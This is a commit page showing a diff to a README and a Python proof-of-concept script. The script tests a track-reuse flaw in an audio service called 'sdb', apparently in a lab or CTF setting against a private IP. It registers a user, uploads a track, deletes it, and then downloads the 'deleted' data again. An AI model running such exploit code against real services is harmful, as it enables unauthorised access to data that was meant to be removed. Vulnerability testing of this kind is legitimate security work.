Use explicit sondib exploit target variable
This commit is contained in:
1 parent
4756e69597
commit
a31509aff5
2 files changed
+11
-10
No files matched your search
@@ -4,11 +4,12 @@
|
||||
|
||||
`deleted_track_reuse.py` checks the confirmed vulnerability where a track
|
||||
continues to be downloadable after deletion when its SID and key are known.
|
||||
Set the target in the `TARGET` variable near the top of the script.
|
||||
|
||||
```text
|
||||
python3 deleted_track_reuse.py [TARGET] [-o leaked.sdz]
|
||||
python3 deleted_track_reuse.py [-o leaked.sdz]
|
||||
```
|
||||
|
||||
The default target is `10.80.19.2`. Exit status `0` means the target is
|
||||
vulnerable, `1` means the deleted track was rejected, and `2` means the PoC
|
||||
could not complete its setup or communication.
|
||||
Exit status `0` means the target is vulnerable, `1` means the deleted track
|
||||
was rejected, and `2` means the PoC could not complete its setup or
|
||||
communication.
|
||||
@@ -20,6 +20,7 @@ from pathlib import Path
|
||||
|
||||
SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb"
|
||||
SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$")
|
||||
TARGET = "10.80.19.2"
|
||||
|
||||
|
||||
def run_sdb(target: str, *args: str, timeout: int = 10) -> subprocess.CompletedProcess[bytes]:
|
||||
@@ -47,7 +48,6 @@ def fail(message: str) -> int:
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("target", nargs="?", default="10.80.19.2")
|
||||
parser.add_argument("-o", "--output", type=Path, help="save leaked SDZ here")
|
||||
args = parser.parse_args()
|
||||
|
||||
@@ -57,7 +57,7 @@ def main() -> int:
|
||||
username = f"reuse{secrets.token_hex(5)}"
|
||||
password = f"pw{secrets.token_hex(6)}"
|
||||
|
||||
registered = run_sdb(args.target, "register", username, password)
|
||||
registered = run_sdb(TARGET, "register", username, password)
|
||||
if registered.returncode != 0:
|
||||
return fail(f"register failed: {text_output(registered)}")
|
||||
|
||||
@@ -65,7 +65,7 @@ def main() -> int:
|
||||
pcm.write(b"\0" * 1024)
|
||||
pcm.flush()
|
||||
uploaded = run_sdb(
|
||||
args.target, "upload", username, password,
|
||||
TARGET, "upload", username, password,
|
||||
"deleted-probe", "p", pcm.name,
|
||||
)
|
||||
|
||||
@@ -74,15 +74,15 @@ def main() -> int:
|
||||
return fail(f"upload did not return SID/key: {text_output(uploaded)}")
|
||||
sid, key = (part.decode() for part in match.groups())
|
||||
|
||||
before = run_sdb(args.target, "download", sid, key)
|
||||
before = run_sdb(TARGET, "download", sid, key)
|
||||
if not before.stdout:
|
||||
return fail(f"fresh track was not downloadable: {text_output(before)}")
|
||||
|
||||
# sdb exposes the server status byte as its process status; mutating
|
||||
# commands can be non-zero even when the state change succeeded.
|
||||
run_sdb(args.target, "delete", username, password, sid, key)
|
||||
run_sdb(TARGET, "delete", username, password, sid, key)
|
||||
time.sleep(0.2)
|
||||
after = run_sdb(args.target, "download", sid, key)
|
||||
after = run_sdb(TARGET, "download", sid, key)
|
||||
|
||||
if after.stdout:
|
||||
output_path = args.output
|
||||
|
||||
Reference in new issue
Block a user